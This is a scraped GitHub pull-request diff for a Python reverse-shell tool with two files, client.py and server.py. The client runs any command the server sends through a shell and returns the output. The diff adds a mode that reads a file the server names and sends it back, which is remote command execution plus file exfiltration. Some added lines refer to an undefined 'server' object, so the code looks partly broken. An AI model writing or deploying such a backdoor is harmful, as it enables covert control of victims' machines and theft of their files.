Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 26 additions & 9 deletions Single_Client/client.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
import os
import socket
import subprocess
import subprocess, time


# Create a socket
Expand Down Expand Up @@ -32,14 +32,31 @@ def receive_commands():
global s
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
if data[:2].decode("utf-8") == "ft":
def send_file(file):
print(file)
name = file.split("/")[-1]
with open(file, "r") as f:
file = f.read()
buffer = str(len(file))
s.send("#{0}#{1}".format(buffer, name).encode("utf-8"))
time.sleep(0.1)
s.send(file.encode("utf-8"))
while True:
file_name = server.recv(1024).decode("utf-8")
if file_name.split("#", 1)[0] == "(FT)":
file_name = file_name.split("#", 1)[1]
send_file(file_name)
break
else:
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()


Expand Down
40 changes: 32 additions & 8 deletions Single_Client/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -41,14 +41,38 @@ def socket_accept():
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), "utf-8")
print(client_response, end="")
if cmd == "download":
conn.send("ft".encode("utf-8"))
def recive_file(buffer):
while True:
bff = conn.recv(buffer).decode("utf-8")
break
if bff.startswith("#"):
buff = int(bff.split("#", 2)[1])
name = bff.split("#", 2)[2]
while True:
file = conn.recv(buff).decode("utf-8")
break
with open(name, "w") as f:
f.write(file)
print(file)
return name
while True:
conn, addr = server.accept()
while True:
file_to_transfer = str(input("[!] File to transfer: "))
file_to_transfer = "(FT)#" + file_to_transfer
conn.send(file_to_transfer.encode("utf-8"))
recive_file(1024)
else:
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), "utf-8")
print(client_response, end="")


def main():
Expand Down